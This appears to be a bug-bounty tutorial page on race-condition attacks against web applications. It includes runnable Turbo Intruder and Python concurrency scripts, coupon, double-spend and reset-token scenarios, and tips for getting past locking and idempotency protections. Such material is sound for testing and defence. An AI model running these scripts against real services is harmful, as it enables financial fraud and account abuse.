Skip to content
Web Security

Race Conditions

Time-of-check to time-of-use exploitation with real-world techniques

High-Value Targets

Financial Operations

TEXT
- Withdraw/transfer money
- Gift card/coupon redemption
- Payment processing
- Credit/balance operations
- Fund transfers between accounts
- Cryptocurrency withdrawals

Limit Bypass

TEXT
- Promo code single-use → multiple uses
- Rate limiting bypass
- One-time password reuse
- Vote/like limit bypass
- Referral bonus abuse
- Free trial abuse
- File upload quotas

Account Operations

TEXT
- Password reset token reuse
- Email verification reuse
- Invitation code abuse
- Account upgrade during trial cancel
- Concurrent session issues

Attack Techniques

Burp Suite - Turbo Intruder

PYTHON
# Basic race condition
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=30,
                          requestsPerConnection=100,
                          pipeline=True)
    
    for i in range(30):
        engine.queue(target.req, gate='race')
    
    # Release all requests simultaneously
    engine.openGate('race')

def handleResponse(req, interesting):
    table.add(req)

Single-Packet Attack (HTTP/2)

PYTHON
# Most effective - all requests in single TCP packet
# Eliminates network jitter completely

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          requestsPerConnection=100,
                          engine=Engine.BURP2)  # Enable HTTP/2
    
    # Queue with single-packet flag
    for i in range(30):
        engine.queue(target.req, gate='race')
    
    engine.openGate('race')

Last-Byte Sync

PYTHON
# Send all but last byte, then send last byte simultaneously
# Works for HTTP/1.1

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=30,
                          requestsPerConnection=1,
                          pipeline=False)
    
    for i in range(30):
        engine.queue(target.req, gate='race', pauseMarker=['\\r\\n\\r\\n'])
    
    engine.openGate('race')

Python Implementation

Threading

PYTHON
import threading
import requests

results = []
barrier = threading.Barrier(50)  # Wait for all threads

def race_request():
    barrier.wait()  # Synchronize threads
    resp = requests.post('https://target.com/redeem',
                        data={'code': 'PROMO123'},
                        cookies={'session': 'xxx'})
    results.append(resp.status_code)

threads = []
for i in range(50):
    t = threading.Thread(target=race_request)
    threads.append(t)
    t.start()

for t in threads:
    t.join()

print(f"Successful: {results.count(200)}")

AsyncIO (Faster)

PYTHON
import asyncio
import aiohttp

async def race_request(session, url):
    async with session.post(url, data={'code': 'PROMO123'}) as resp:
        return resp.status

async def main():
    async with aiohttp.ClientSession() as session:
        # Create tasks
        tasks = [race_request(session, 'https://target.com/redeem') 
                 for _ in range(50)]
        # Execute simultaneously
        results = await asyncio.gather(*tasks)
        print(f"Successful: {results.count(200)}")

asyncio.run(main())

Practical Scenarios

Coupon Code Abuse

TEXT
Normal Flow:
1. POST /redeem {"code": "SAVE50"}
2. Server checks: is code valid? → yes
3. Server checks: is code used? → no
4. Apply discount
5. Mark code as used

Attack:
- Send 50 simultaneous requests
- All pass "is code used?" check
- All apply discount
- Code used 50 times before marked

Balance Double-Spend

TEXT
Normal Flow:
1. Check balance >= withdrawal amount
2. Perform withdrawal
3. Deduct balance

Attack:
- Balance: $100
- Send 10 concurrent withdrawals of $50
- All pass balance check (balance still shows $100)
- All withdrawals processed
- Result: -$400 balance (or equivalent exploit)

Password Reset Token Reuse

TEXT
1. Request password reset
2. Click reset link
3. In Turbo Intruder, send 10 password changes
4. First changes password to "pass1"
5. Others may also succeed (token not immediately invalidated)

Detection Methodology

Step 1: Identify State-Changing Operations

TEXT
- Any operation that "uses up" a resource
- Any operation with limits
- Any operation that should be one-time
- Financial operations
- Token/code redemptions

Step 2: Analyze Timing Window

TEXT
- Is there delay between check and action?
- Database write latency?
- External API calls?
- Files being written?

Step 3: Test with Increasing Concurrency

TEXT
- Start with 10 parallel requests
- Increase to 30, 50, 100
- Use single-packet attack if HTTP/2 available
- Check for any double-success

Step 4: Verify Impact

TEXT
- Did the action succeed multiple times?
- Was the limit actually bypassed?
- Check database state, account balance, etc.
- Document before/after state

Specific Attack Patterns

Follow-Redirect Race

TEXT
1. Action returns redirect (e.g., after login)
2. Race the redirect endpoint directly
3. May bypass checks that happen via redirect

Two-Endpoint Race

TEXT
# Race between two different endpoints
# Endpoint A: Check eligibility
# Endpoint B: Perform action

# Send A first, then immediately B
# B might execute before A completes

Database Race

TEXT
# Race READ vs WRITE
# SELECT balance WHERE balance >= 100
# UPDATE balance SET balance = balance - 100

# If SELECT happens for all requests before any UPDATE...

Mitigation Bypass

When Server Has Locking

TEXT
- Try higher concurrency (overwhelm lock)
- Try from multiple IPs
- Try different user agents
- Try different sessions for same user

When Server Has Idempotency Keys

TEXT
- Use same idempotency key? → should dedup
- Use different keys? → should all process
- Remove key? → might bypass protection

Bug Bounty Tips

Demonstrating Impact

TEXT
Show exact number of times action succeeded
✓ Show before/after account state
✓ Calculate financial impact
✓ Screen record the exploitation
✓ Show database evidence if possible

High-Payout Scenarios

TEXT
- $0 → $X account credit
- N times bonus/referral credit
- Unlimited premium feature access
- Bypassed payment entirely
- Critical data inconsistency

Common Mistakes

TEXT
✗ Testing with low concurrency (need 30+)
✗ Using slow network conditions
✗ Not using single-packet attack
✗ Not verifying actual state change
✗ Testing non-state-changing endpoints

Tools

BASH
# Burp Turbo Intruder (best)
# Custom Python scripts
# Racepwn (Go-based)
# Race-the-web

# Verify
curl, httpie, postman for before/after checks
On this page